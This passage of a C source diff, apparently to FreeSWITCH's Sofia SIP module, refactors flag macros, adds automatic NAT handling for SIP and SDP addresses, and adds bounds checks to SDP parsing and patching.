 		switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "a=rtpmap:%d CN/8000\n", tech_pvt->cng_pt);
 		if (!tech_pvt->rm_encoding) {
 			tech_pvt->cng_pt = 0;
@@ -260,7 +276,7 @@
 		switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "a=%s\n", sr);
 	} 
 
-	if (!switch_strlen_zero(tech_pvt->local_crypto_key) && switch_test_flag(tech_pvt, TFLAG_SECURE)) {
+	if (!switch_strlen_zero(tech_pvt->local_crypto_key) && sofia_test_flag(tech_pvt, TFLAG_SECURE)) {
 		switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "a=crypto:%s\n", tech_pvt->local_crypto_key);
 		//switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), "a=encryption:optional\n");
 #if 0
@@ -294,7 +310,7 @@
 #endif
 	}
 
-	if (switch_test_flag(tech_pvt, TFLAG_VIDEO)) {
+	if (sofia_test_flag(tech_pvt, TFLAG_VIDEO)) {
 		if (!switch_channel_test_flag(tech_pvt->channel, CF_ANSWERED) && !switch_channel_test_flag(tech_pvt->channel, CF_EARLY_MEDIA) &&
 			!tech_pvt->local_sdp_video_port) {
 			sofia_glue_tech_choose_video_port(tech_pvt, 0);
@@ -390,8 +406,7 @@
 			}
 		}
 	}
-
-	tech_pvt->local_sdp_str = switch_core_session_strdup(tech_pvt->session, buf);
+	sofia_glue_tech_set_local_sdp(tech_pvt, buf, SWITCH_TRUE);
 }
 
 void sofia_glue_tech_prepare_codecs(private_object_t *tech_pvt)
@@ -419,7 +434,7 @@
 		}
 
 		if ((ocodec = switch_channel_get_variable(tech_pvt->channel, SWITCH_ORIGINATOR_CODEC_VARIABLE))) {
-			if (!codec_string || (tech_pvt->profile->pflags & PFLAG_DISABLE_TRANSCODING)) {
+			if (!codec_string || sofia_test_pflag(tech_pvt->profile, PFLAG_DISABLE_TRANSCODING)) {
 				codec_string = ocodec;
 			} else {
 				if (!(codec_string = switch_core_session_sprintf(tech_pvt->session, "%s,%s", ocodec, codec_string))) {
@@ -445,7 +460,7 @@
 
 void sofia_glue_check_video_codecs(private_object_t *tech_pvt)
 {
-	if (tech_pvt->num_codecs && !switch_test_flag(tech_pvt, TFLAG_VIDEO)) {
+	if (tech_pvt->num_codecs && !sofia_test_flag(tech_pvt, TFLAG_VIDEO)) {
 		int i;
 		tech_pvt->video_count = 0;
 		for (i = 0; i < tech_pvt->num_codecs; i++) {
@@ -454,7 +469,7 @@
 			}
 		}
 		if (tech_pvt->video_count) {
-			switch_set_flag_locked(tech_pvt, TFLAG_VIDEO);
+			sofia_set_flag_locked(tech_pvt, TFLAG_VIDEO);
 		}
 	}
 }
@@ -463,6 +478,8 @@
 void sofia_glue_attach_private(switch_core_session_t *session, sofia_profile_t *profile, private_object_t *tech_pvt, const char *channame)
 {
 	char name[256];
+	unsigned int x;
+	char *p;
 
 	switch_assert(session != NULL);
 	switch_assert(profile != NULL);
@@ -472,7 +489,12 @@
 
 	switch_mutex_lock(tech_pvt->flag_mutex);
 	switch_mutex_lock(profile->flag_mutex);
-	tech_pvt->flags = profile->flags;
+
+	/* copy flags from profile to the sofia private */
+	for(x = 0; x < TFLAG_MAX; x++ ) {
+		tech_pvt->flags[x] = profile->flags[x];
+	}
+
 	tech_pvt->profile = profile;
 	profile->inuse++;
 	switch_mutex_unlock(profile->flag_mutex);
@@ -486,7 +508,7 @@
 
 	tech_pvt->dtmf_type = profile->dtmf_type;
 
-	if (!(tech_pvt->profile->pflags & PFLAG_SUPPRESS_CNG)) {
+	if (!sofia_test_pflag(tech_pvt->profile, PFLAG_SUPPRESS_CNG)) {
 		if (tech_pvt->bcng_pt) {
 			tech_pvt->cng_pt = tech_pvt->bcng_pt;
 		} else if (!tech_pvt->cng_pt) {
@@ -499,6 +521,9 @@
 	switch_core_session_set_private(session, tech_pvt);
 
 	switch_snprintf(name, sizeof(name), "sofia/%s/%s", profile->name, channame);
+	if ((p = strchr(name, ';'))) {
+		*p = '\0';
+	}
 	switch_channel_set_name(tech_pvt->channel, name);
 }
 
@@ -522,8 +547,9 @@
 	} else if (!strncasecmp(sourceip, "stun:", 5)) {
 		char *p;
 
-		if (!(profile->pflags & PFLAG_STUN_ENABLED)) {
-			*ip = switch_core_strdup(pool, tech_pvt->profile->rtpip);
+		if (!sofia_test_pflag(profile, PFLAG_STUN_ENABLED)) {
+			*ip = switch_core_strdup(pool, profile->rtpip);
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Trying to use STUN but its disabled!\n");
 			return SWITCH_STATUS_SUCCESS;
 		}
 		
@@ -544,7 +570,7 @@
 		}
 
 		for (x = 0; x < 5; x++) {
-			if ((profile->pflags & PFLAG_FUNNY_STUN) || 
+			if (sofia_test_pflag(profile, PFLAG_FUNNY_STUN) || 
 				(tech_pvt && (var = switch_channel_get_variable(tech_pvt->channel, "funny_stun")) && switch_true(var))) {
 				error = "funny";
 				funny++;
@@ -568,8 +594,8 @@
 		if (tech_pvt) {
 			if (myport == *port && !strcmp(*ip, tech_pvt->profile->rtpip)) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "STUN Not Required ip and port match. [%s]:[%d]\n", *ip, *port);
-				if (profile->pflags & PFLAG_STUN_AUTO_DISABLE) {
-					profile->pflags &= ~PFLAG_STUN_ENABLED;
+				if (sofia_test_pflag(profile, PFLAG_STUN_AUTO_DISABLE)) {
+					sofia_clear_pflag(profile, PFLAG_STUN_ENABLED);
 					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "STUN completely disabled.\n");
 				}
 			} else {
@@ -609,10 +635,12 @@
 
 switch_status_t sofia_glue_tech_choose_port(private_object_t *tech_pvt, int force)
 {
-	char *ip = tech_pvt->profile->rtpip;
+	char *rtpip = tech_pvt->profile->rtpip;
+	char *lookup_rtpip = NULL;
 	switch_port_t sdp_port;
 	char tmp[50];
 	const char *use_ip = NULL;
+	switch_port_t external_port = 0;
 
 	if (!force) {
 		if (switch_channel_test_flag(tech_pvt->channel, CF_PROXY_MODE) ||
@@ -626,14 +654,15 @@
 	}
 
 
-	tech_pvt->local_sdp_audio_ip = ip;
+	tech_pvt->local_sdp_audio_ip = rtpip;
+
 	if (!(tech_pvt->local_sdp_audio_port = switch_rtp_request_port(tech_pvt->profile->rtpip))) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "No RTP ports available!\n");
 		return SWITCH_STATUS_FALSE;
 	}
 	sdp_port = tech_pvt->local_sdp_audio_port;
 
-	if (!(use_ip = switch_channel_get_variable(tech_pvt->channel, "rtp_adv_audio_ip"))) {
+	if (!(use_ip = switch_channel_get_variable(tech_pvt->channel, "rtp_adv_audio_ip")) && !sofia_test_pflag(tech_pvt->profile, PFLAG_AUTO_NAT)) {
 		if (tech_pvt->profile->extrtpip) {
 			use_ip = tech_pvt->profile->extrtpip;
 		}
@@ -641,16 +670,21 @@
 
 	if (use_ip) {
 		tech_pvt->extrtpip = switch_core_session_strdup(tech_pvt->session, use_ip);
-		if (sofia_glue_ext_address_lookup(tech_pvt->profile, tech_pvt, &ip, &sdp_port, 
+		if (sofia_glue_ext_address_lookup(tech_pvt->profile, tech_pvt, &lookup_rtpip, &sdp_port, 
 										  tech_pvt->extrtpip, switch_core_session_get_pool(tech_pvt->session)) != SWITCH_STATUS_SUCCESS) {
 			return SWITCH_STATUS_FALSE;
 		}
 	}
+
+	if (tech_pvt->profile->extrtpip && sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
+		tech_pvt->adv_sdp_audio_ip = switch_core_session_strdup(tech_pvt->session, lookup_rtpip ? lookup_rtpip : tech_pvt->profile->extrtpip);
+		switch_nat_add_mapping((switch_port_t)sdp_port, SWITCH_NAT_UDP, &external_port, SWITCH_FALSE);
+	} else {
+		tech_pvt->adv_sdp_audio_ip = switch_core_session_strdup(tech_pvt->session, rtpip);
+	}
 	
+	tech_pvt->adv_sdp_audio_port = external_port != 0 ? external_port : sdp_port;
 
-	tech_pvt->adv_sdp_audio_ip = switch_core_session_strdup(tech_pvt->session, ip);
-	tech_pvt->adv_sdp_audio_port = sdp_port;
-
 	switch_snprintf(tmp, sizeof(tmp), "%d", sdp_port);
 	switch_channel_set_variable(tech_pvt->channel, SWITCH_LOCAL_MEDIA_IP_VARIABLE, tech_pvt->adv_sdp_audio_ip);
 	switch_channel_set_variable(tech_pvt->channel, SWITCH_LOCAL_MEDIA_PORT_VARIABLE, tmp);
@@ -663,6 +697,7 @@
 	char *ip = tech_pvt->profile->rtpip;
 	switch_port_t sdp_port;
 	char tmp[50];
+	switch_port_t external_port = 0;
 
 	if (!force) {
 		if (switch_channel_test_flag(tech_pvt->channel, CF_PROXY_MODE) || switch_channel_test_flag(tech_pvt->channel, CF_PROXY_MEDIA)
@@ -683,13 +718,17 @@
 
 
 	if (tech_pvt->profile->extrtpip) {
-		if (sofia_glue_ext_address_lookup(tech_pvt->profile, tech_pvt, &ip, &sdp_port, tech_pvt->profile->extrtpip, switch_core_session_get_pool(tech_pvt->session)) !=
-			SWITCH_STATUS_SUCCESS) {
+		if (sofia_glue_ext_address_lookup(tech_pvt->profile, tech_pvt, &ip, &sdp_port, tech_pvt->profile->extrtpip,
+										  switch_core_session_get_pool(tech_pvt->session)) != SWITCH_STATUS_SUCCESS) {
 			return SWITCH_STATUS_FALSE;
 		}
 	}
 
-	tech_pvt->adv_sdp_video_port = sdp_port;
+	if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
+		switch_nat_add_mapping((switch_port_t)sdp_port, SWITCH_NAT_UDP, &external_port, SWITCH_FALSE);
+	}
+	
+	tech_pvt->adv_sdp_video_port = external_port != 0 ? external_port : sdp_port;
 
 	switch_snprintf(tmp, sizeof(tmp), "%d", sdp_port);
 	switch_channel_set_variable(tech_pvt->channel, SWITCH_LOCAL_VIDEO_IP_VARIABLE, tech_pvt->adv_sdp_audio_ip);
@@ -789,6 +828,58 @@
 	}
 }
 
+char *sofia_glue_create_external_via(switch_core_session_t *session, sofia_profile_t *profile, sofia_transport_t transport) 
+{
+	return sofia_glue_create_via(session,
+								 profile->extsipip,
+								 (sofia_glue_transport_has_tls(transport))
+								 ? profile->tls_sip_port : profile->sip_port,
+								 transport);
+}
+
+char *sofia_glue_create_via(switch_core_session_t *session, const char *ip, switch_port_t port, sofia_transport_t transport) 
+{
+	if (port && port != 5060) {
+		if (session) {
+			return switch_core_session_sprintf(session, "SIP/2.0/%s %s:%d;rport", sofia_glue_transport2str(transport), ip, port);		
+		} else {
+			return switch_mprintf("SIP/2.0/%s %s:%d;rport", sofia_glue_transport2str(transport), ip, port);		
+		}
+	} else {
+		if (session) {
+			return switch_core_session_sprintf(session, "SIP/2.0/%s %s;rport", sofia_glue_transport2str(transport), ip);
+		} else {
+			return switch_mprintf("SIP/2.0/%s %s;rport", sofia_glue_transport2str(transport), ip);
+		}
+	}
+}
+
+char *sofia_glue_strip_uri(const char *str)
+{
+	char *p;
+	char *r;
+
+	if ((p = strchr(str, '<'))) {
+		p++;
+		r = strdup(p);
+		if ((p = strchr(r, '>'))) {
+			*p = '\0';
+		}
+	} else {
+		r = strdup(str);
+	}
+
+	return r;
+}
+
+int sofia_glue_check_nat(sofia_profile_t *profile, const char *network_ip)
+{
+	return (network_ip && 
+			profile->local_network && 
+			sofia_test_pflag(profile, PFLAG_AUTO_NAT) && 
+			!switch_check_network_list_ip(network_ip, profile->local_network));
+}
+
 int sofia_glue_transport_has_tls(const sofia_transport_t tp)
 {
 	switch (tp) {
@@ -800,6 +891,18 @@
 	}
 }
 
+void sofia_glue_get_addr(msg_t *msg, char *buf, size_t buflen, int *port) {
+	su_addrinfo_t *addrinfo = msg_addrinfo(msg);
+
+	if (buf) {
+		get_addr(buf, buflen, addrinfo->ai_addr, addrinfo->ai_addrlen);
+	}
+
+	if (port) {
+		*port = get_port(addrinfo->ai_addr); 
+	}
+}
+
 char *sofia_overcome_sip_uri_weakness(switch_core_session_t *session, const char *uri, const sofia_transport_t transport, switch_bool_t uri_only,
 									  const char *params)
 {
@@ -822,10 +925,10 @@
 
 			if (strchr(stripped, ';')) {
 				if (params) {
-					new_uri = switch_core_session_sprintf(session, "%s%s&transport=%s;%s%s",
+					new_uri = switch_core_session_sprintf(session, "%s%s;transport=%s;%s%s",
 														  uri_only ? "" : "<", stripped, sofia_glue_transport2str(transport), params, uri_only ? "" : ">");
 				} else {
-					new_uri = switch_core_session_sprintf(session, "%s%s&transport=%s%s",
+					new_uri = switch_core_session_sprintf(session, "%s%s;transport=%s%s",
 														  uri_only ? "" : "<", stripped, sofia_glue_transport2str(transport), uri_only ? "" : ">");
 				}
 			} else {
@@ -853,16 +956,17 @@
 	return new_uri;
 }
 
+#define RA_PTR_LEN 512
 switch_status_t sofia_glue_tech_proxy_remote_addr(private_object_t *tech_pvt)
 {
 	const char *err;
-	char rip[128] = "";
-	char rp[128] = "";
-	char rvp[128] = "";
-	char *p, *ip_ptr = NULL, *port_ptr = NULL, *vid_port_ptr = NULL;
+	char rip[RA_PTR_LEN] = "";
+	char rp[RA_PTR_LEN] = "";
+	char rvp[RA_PTR_LEN] = "";
+	char *p, *ip_ptr = NULL, *port_ptr = NULL, *vid_port_ptr = NULL, *pe;
 	int x;
 	const char *val;
-
+	
 	if (switch_strlen_zero(tech_pvt->remote_sdp_str)) {
 		return SWITCH_STATUS_FALSE;
 	}
@@ -889,24 +993,34 @@
 	}
 
 	p = ip_ptr;
+	pe = p + strlen(p);
 	x = 0;
-	while (x < sizeof(rip) && p && *p && ((*p >= '0' && *p <= '9') || *p == '.' || *p == ':' || (*p >= 'a' && *p <= 'f') || (*p >= 'A' && *p <= 'F'))) {
+	while (x < sizeof(rip) - 1 && p && *p && ((*p >= '0' && *p <= '9') || *p == '.' || *p == ':' || (*p >= 'a' && *p <= 'f') || (*p >= 'A' && *p <= 'F'))) {
 		rip[x++] = *p;
 		p++;
+		if (p >= pe) {
+			return SWITCH_STATUS_FALSE;
+		}
 	}
 
 	p = port_ptr;
 	x = 0;
-	while (x < sizeof(rp) && p && *p && (*p >= '0' && *p <= '9')) {
+	while (x < sizeof(rp) - 1 && p && *p && (*p >= '0' && *p <= '9')) {
 		rp[x++] = *p;
 		p++;
+		if (p >= pe) {
+			return SWITCH_STATUS_FALSE;
+		}
 	}
 
 	p = vid_port_ptr;
 	x = 0;
-	while (x < sizeof(rvp) && p && *p && (*p >= '0' && *p <= '9')) {
+	while (x < sizeof(rvp) - 1 && p && *p && (*p >= '0' && *p <= '9')) {
 		rvp[x++] = *p;
 		p++;
+		if (p >= pe) {
+			return SWITCH_STATUS_FALSE;
+		}
 	}
 
 	if (!(*rip && *rp)) {
@@ -927,7 +1041,7 @@
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Remote video address:port [%s:%d] has not changed.\n",
 							  tech_pvt->remote_sdp_audio_ip, tech_pvt->remote_sdp_audio_port);
 		} else {
-			switch_set_flag_locked(tech_pvt, TFLAG_VIDEO);
+			sofia_set_flag_locked(tech_pvt, TFLAG_VIDEO);
 			switch_channel_set_flag(tech_pvt->channel, CF_VIDEO);
 			if (switch_rtp_ready(tech_pvt->video_rtp_session)) {
 				if (switch_rtp_set_remote_address(tech_pvt->video_rtp_session, tech_pvt->remote_sdp_video_ip, 
@@ -956,12 +1070,9 @@
 							  tech_pvt->remote_sdp_audio_ip, tech_pvt->remote_sdp_audio_port);
 			return SWITCH_STATUS_SUCCESS;
 		}
-
-	}
-	
-	if (switch_rtp_ready(tech_pvt->rtp_session)) {
-		if (switch_rtp_set_remote_address(tech_pvt->rtp_session, tech_pvt->remote_sdp_audio_ip, tech_pvt->remote_sdp_audio_port, SWITCH_TRUE, &err) !=
-			SWITCH_STATUS_SUCCESS) {
+		
+		if (switch_rtp_set_remote_address(tech_pvt->rtp_session, tech_pvt->remote_sdp_audio_ip, 
+										  tech_pvt->remote_sdp_audio_port, SWITCH_TRUE, &err) != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "AUDIO RTP REPORTS ERROR: [%s]\n", err);
 		} else {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "AUDIO RTP CHANGING DEST TO: [%s:%d]\n",
@@ -981,17 +1092,19 @@
 void sofia_glue_tech_patch_sdp(private_object_t *tech_pvt)
 {
 	switch_size_t len;
-	char *p, *q;
+	char *p, *q, *pe , *qe;
 	int has_video=0,has_audio=0,has_ip=0;
 	char port_buf[25] = "";
 	char vport_buf[25] = "";
+	char *new_sdp;
+	int bad = 0;
 
 	if (switch_strlen_zero(tech_pvt->local_sdp_str)) {
 		return;
 	}
 
-	len = strlen(tech_pvt->local_sdp_str) + 384;
-
+	len = strlen(tech_pvt->local_sdp_str) * 2;
+	
 	if (switch_stristr("sendonly", tech_pvt->local_sdp_str) || switch_stristr("0.0.0.0", tech_pvt->local_sdp_str)) {
 	    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Skip patch on hold SDP\n");
 	    return;
@@ -1007,14 +1120,26 @@
 		tech_pvt->codec_ms = 20;
 	}
 	
+	new_sdp = switch_core_session_alloc(tech_pvt->session, len);
 	switch_snprintf(port_buf, sizeof(port_buf), "%u", tech_pvt->adv_sdp_audio_port);
-	tech_pvt->orig_local_sdp_str = tech_pvt->local_sdp_str;
-	tech_pvt->local_sdp_str = switch_core_session_alloc(tech_pvt->session, len);
+	
 
-	p = tech_pvt->orig_local_sdp_str;
-	q = tech_pvt->local_sdp_str;
+	p = tech_pvt->local_sdp_str;
+	q = new_sdp;
+	pe = p + strlen(p);
+	qe = q + len - 1;
 
 	while(p && *p) {
+		if (p >= pe) {
+			bad = 1;
+			goto end;
+		}
+		
+		if (q >= qe) {
+			bad = 2;
+			goto end;
+		}
+
 	    if (tech_pvt->adv_sdp_audio_ip && !strncmp("c=IN IP", p, 7)) {
 			strncpy(q, p, 9);
 			p += 9;
@@ -1023,19 +1148,46 @@
 			q += strlen(tech_pvt->adv_sdp_audio_ip);
 
 			while(p && *p && ((*p >= '0' && *p <= '9') || *p == '.' || *p == ':' || (*p >= 'A' && *p <= 'F') || (*p >= 'a' && *p <= 'f'))) {
+				if (p >= pe) {
+					bad = 3;
+					goto end;
+				}
 				p++;
 			}
 
 	    	has_ip++;
 
 		} else if (!strncmp("m=audio ", p, 8) || (!strncmp("m=image ", p, 8))) {
-			strncpy(q,p,8);
+			strncpy(q, p, 8);
 			p += 8;
+
+			if (p >= pe) {
+				bad = 4;
+				goto end;
+			}
+
+
 			q += 8;
+			
+			if (q >= qe) {
+				bad = 5;
+				goto end;
+			}
+
+
 			strncpy(q, port_buf, strlen(port_buf));
 			q += strlen(port_buf);
 
+			if (q >= qe) {
+				bad = 6;
+				goto end;
+			}
+
 			while (p && *p && (*p >= '0' && *p <= '9')) {
+				if (p >= pe) {
+					bad = 7;
+					goto end;
+				}
 				p++;
 			}
 
@@ -1052,36 +1204,105 @@
 
 			strncpy(q, p, 8);
 			p += 8;
+
+			if (p >= pe) {
+				bad = 8;
+				goto end;
+			}
+
 			q += 8;
+
+			if (q >= qe) {
+				bad = 9;
+				goto end;
+			}
+
 			strncpy(q, vport_buf, strlen(vport_buf));
 			q += strlen(vport_buf);
 
+			if (q >= qe) {
+				bad = 10;
+				goto end;
+			}
+
 			while (p && *p && (*p >= '0' && *p <= '9')) {
+
+				if (p >= pe) {
+					bad = 11;
+					goto end;
+				}
+
 				p++;
 			}
-
+			
 			has_video++;
 	    }
 	    
 	    while (p && *p && *p != '\n') {
+
+			if (p >= pe) {
+				bad = 12;
+				goto end;
+			}
+
+			if (q >= qe) {
+				bad = 13;
+				goto end;
+			}
+
 			*q++ = *p++;
 	    }
+		
+		if (p >= pe) {
+            bad = 14;
+            goto end;
+        }
+		
+		if (q >= qe) {
+			bad = 15;
+			goto end;
+		}
 
 	    *q++ = *p++;
+
 	}
 
+ end:
+
+	if (bad) {
+		return;
+	}
+
+
+	if (switch_channel_down(tech_pvt->channel) || sofia_test_flag(tech_pvt, TFLAG_BYE)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s too late.\n", switch_channel_get_name(tech_pvt->channel));
+		return;
+	}
+
+
 	if (!has_ip && !has_audio) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s SDP has no audio in it.\n%s\n",
 						  switch_channel_get_name(tech_pvt->channel), tech_pvt->local_sdp_str);
-		tech_pvt->local_sdp_str = tech_pvt->orig_local_sdp_str;
 		return;
 	}
 	
+
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s Patched SDP\n---\n%s\n+++\n%s\n",
-					  switch_channel_get_name(tech_pvt->channel), tech_pvt->orig_local_sdp_str, tech_pvt->local_sdp_str);
+					  switch_channel_get_name(tech_pvt->channel), tech_pvt->local_sdp_str, new_sdp);
+
+	sofia_glue_tech_set_local_sdp(tech_pvt, new_sdp, SWITCH_FALSE);
+
 }
 
 
+void sofia_glue_tech_set_local_sdp(private_object_t *tech_pvt, const char *sdp_str, switch_bool_t dup)
+{
+	switch_mutex_lock(tech_pvt->sofia_mutex);
+	tech_pvt->local_sdp_str = dup ? switch_core_session_strdup(tech_pvt->session, sdp_str) : (char *)sdp_str;
+	switch_mutex_unlock(tech_pvt->sofia_mutex);	
+}
+
+
 switch_status_t sofia_glue_do_invite(switch_core_session_t *session)
 {
 	char *alert_info = NULL;
@@ -1103,12 +1324,14 @@
 	const char *call_id = NULL;
 	char *route = NULL;
 	char *route_uri = NULL;
+	sofia_destination_t *dst = NULL;
+	sofia_cid_type_t cid_type = tech_pvt->profile->cid_type;
 
 	rep = switch_channel_get_variable(channel, SOFIA_REPLACES_HEADER);
 
 	switch_assert(tech_pvt != NULL);
 
-	switch_clear_flag_locked(tech_pvt, TFLAG_SDP);
+	sofia_clear_flag_locked(tech_pvt, TFLAG_SDP);
 
 	caller_profile = switch_channel_get_caller_profile(channel);
 
@@ -1120,10 +1343,18 @@
 	check_decode(cid_num, session);
 
 	if (!tech_pvt->from_str) {
-		const char* sipip = tech_pvt->profile->extsipip ? tech_pvt->profile->extsipip : tech_pvt->profile->sipip;
-		const char* format = strchr(sipip, ':') ? "\"%s\" <sip:%s%s[%s]>" : "\"%s\" <sip:%s%s%s>";
+		const char* sipip;
+		const char* format;
 		const char *alt = NULL;
 
+		if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
+			sipip = tech_pvt->profile->extsipip;
+		} else {
+			sipip = tech_pvt->profile->extsipip ? tech_pvt->profile->extsipip : tech_pvt->profile->sipip;
+		}
+
+		format = strchr(sipip, ':') ? "\"%s\" <sip:%s%s[%s]>" : "\"%s\" <sip:%s%s%s>";
+
 		if ((alt = switch_channel_get_variable(channel, "sip_invite_domain"))) {
 			sipip = alt;
 		}
@@ -1149,7 +1380,7 @@
 
 	sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
 
-	switch_set_flag_locked(tech_pvt, TFLAG_READY);
+	sofia_set_flag_locked(tech_pvt, TFLAG_READY);
 
 	if (!tech_pvt->nh) {
 		char *d_url = NULL, *url = NULL;
@@ -1160,8 +1391,13 @@
 		const char *priv = "off";
 		const char *screen = "no";
 		const char *invite_params = switch_channel_get_variable(tech_pvt->channel, "sip_invite_params");
+		const char *invite_to_params = switch_channel_get_variable(tech_pvt->channel, "sip_invite_to_params");
+		const char *invite_to_uri = switch_channel_get_variable(tech_pvt->channel, "sip_invite_to_uri");
+		const char *invite_contact_params = switch_channel_get_variable(tech_pvt->channel, "sip_invite_contact_params");
+		const char *invite_from_params = switch_channel_get_variable(tech_pvt->channel, "sip_invite_from_params");
 		const char *from_var = switch_channel_get_variable(tech_pvt->channel, "sip_from_uri");
-
+		const char *from_display = switch_channel_get_variable(tech_pvt->channel, "sip_from_display");
+		
 		if (switch_strlen_zero(tech_pvt->dest)) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "URL Error!\n");
 			return SWITCH_STATUS_FALSE;
@@ -1187,7 +1423,12 @@
 			use_from_str = tech_pvt->from_str;
 		}
 
-		rpid_domain = switch_core_session_strdup(session, use_from_str);
+		if (!switch_strlen_zero(tech_pvt->gateway_from_str)) {
+			rpid_domain = switch_core_session_strdup(session, tech_pvt->gateway_from_str);
+		} else if (!switch_strlen_zero(tech_pvt->from_str)) {
+			rpid_domain = switch_core_session_strdup(session, tech_pvt->from_str);
+		} 
+
 		sofia_glue_get_url_from_contact(rpid_domain, 0);
 		if ((rpid_domain = strrchr(rpid_domain, '@'))) {
 			rpid_domain++;
@@ -1219,6 +1460,10 @@
 			}
 		}
 
+		if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) {
+			tech_pvt->user_via = sofia_glue_create_external_via(session, tech_pvt->profile, tech_pvt->transport);
+		}
+
 		if (!sofia_test_pflag(tech_pvt->profile, PFLAG_TLS) && sofia_glue_transport_has_tls(tech_pvt->transport)) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "TLS not supported by profile\n");
 			return SWITCH_STATUS_FALSE;
@@ -1227,8 +1472,18 @@
 		if (switch_strlen_zero(tech_pvt->invite_contact)) {
 			const char * contact;
 			if ((contact = switch_channel_get_variable(channel, "sip_contact_user"))) {
-				char *ip_addr = (tech_pvt->profile->extsipip) ? tech_pvt->profile->extsipip : tech_pvt->profile->sipip;
-				char *ipv6 = strchr(ip_addr, ':');
+				char *ip_addr;
+				char *ipv6;
+				
+				if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) { 
+					ip_addr = (switch_check_network_list_ip(tech_pvt->remote_ip, tech_pvt->profile->local_network)) 
+						? tech_pvt->profile->sipip : tech_pvt->profile->extsipip;
+				} else {
+					ip_addr = tech_pvt->profile->extsipip ? tech_pvt->profile->extsipip : tech_pvt->profile->sipip;
+				}
+				
+				ipv6 = strchr(ip_addr, ':');
+
 				if (sofia_glue_transport_has_tls(tech_pvt->transport)) {
 					tech_pvt->invite_contact = switch_core_session_sprintf(session, "sip:%s@%s%s%s:%d", contact, 
 																		   ipv6 ? "[" : "", ip_addr, ipv6 ? "]" : "", 
@@ -1241,15 +1496,19 @@
 				if (sofia_glue_transport_has_tls(tech_pvt->transport)) {
 					tech_pvt->invite_contact = tech_pvt->profile->tls_url;
 				} else {
-					tech_pvt->invite_contact = tech_pvt->profile->url;
+					if (sofia_glue_check_nat(tech_pvt->profile, tech_pvt->remote_ip)) { 
+						tech_pvt->invite_contact = tech_pvt->profile->public_url;
+					} else {
+						tech_pvt->invite_contact = tech_pvt->profile->url;
+					}
 				}
 			}
 		}
 
 		url_str = sofia_overcome_sip_uri_weakness(session, url, tech_pvt->transport, SWITCH_TRUE, invite_params);
-		invite_contact = sofia_overcome_sip_uri_weakness(session, tech_pvt->invite_contact, tech_pvt->transport, SWITCH_FALSE, NULL);
-		from_str = sofia_overcome_sip_uri_weakness(session, use_from_str, 0, SWITCH_TRUE, NULL);
-		to_str = sofia_overcome_sip_uri_weakness(session, tech_pvt->dest_to, 0, SWITCH_FALSE, invite_params);
+		invite_contact = sofia_overcome_sip_uri_weakness(session, tech_pvt->invite_contact, tech_pvt->transport, SWITCH_FALSE, invite_contact_params);
+		from_str = sofia_overcome_sip_uri_weakness(session, use_from_str, 0, SWITCH_TRUE, invite_from_params);
+		to_str = sofia_overcome_sip_uri_weakness(session, invite_to_uri ? invite_to_uri : tech_pvt->dest_to, 0, SWITCH_FALSE, invite_to_params ? invite_to_params : invite_params);
 
 
 		/*
@@ -1257,14 +1516,15 @@
 		   or did he just suggest it to make our lives miserable?
 		 */
 		use_from_str = from_str;
-		if (!strcasecmp(tech_pvt->caller_profile->caller_id_name, "_undef_")) {
+		if (!from_display && !strcasecmp(tech_pvt->caller_profile->caller_id_name, "_undef_")) {
 			from_str = switch_core_session_sprintf(session, "<%s>", use_from_str);
 		} else {
-			from_str = switch_core_session_sprintf(session, "\"%s\" <%s>", tech_pvt->caller_profile->caller_id_name, use_from_str);
+			from_str = switch_core_session_sprintf(session, "\"%s\" <%s>", from_display ? from_display : 
+												   tech_pvt->caller_profile->caller_id_name, use_from_str);
 		}
 		
 		if (!(call_id = switch_channel_get_variable(channel, "sip_outgoing_call_id"))) {
-			if (tech_pvt->profile->pflags & PFLAG_UUID_AS_CALLID) {
+			if (sofia_test_pflag(tech_pvt->profile, PFLAG_UUID_AS_CALLID)) {
 				call_id = switch_core_session_get_uuid(session);
 			}
 		}
@@ -1276,34 +1536,64 @@
 								  SIPTAG_FROM_STR(from_str),
 								  SIPTAG_CONTACT_STR(invite_contact),
 								  TAG_END());
-		
 
 		if (tech_pvt->dest && (strstr(tech_pvt->dest, ";fs_nat") || strstr(tech_pvt->dest, ";received") 
 							   || ((val = switch_channel_get_variable(channel, "sip_sticky_contact")) && switch_true(val)))) {
-			switch_set_flag(tech_pvt, TFLAG_NAT);
+			sofia_set_flag(tech_pvt, TFLAG_NAT);
 			tech_pvt->record_route = switch_core_session_strdup(tech_pvt->session, url_str);
 			route_uri = tech_pvt->record_route;
 			session_timeout = SOFIA_NAT_SESSION_TIMEOUT;
 			switch_channel_set_variable(channel, "sip_nat_detected", "true");
 		}
-
-		/* TODO: We should use the new tags for making an rpid and add profile options to turn this on/off */
-		if (switch_test_flag(caller_profile, SWITCH_CPF_HIDE_NAME)) {
-			priv = "name";
+		
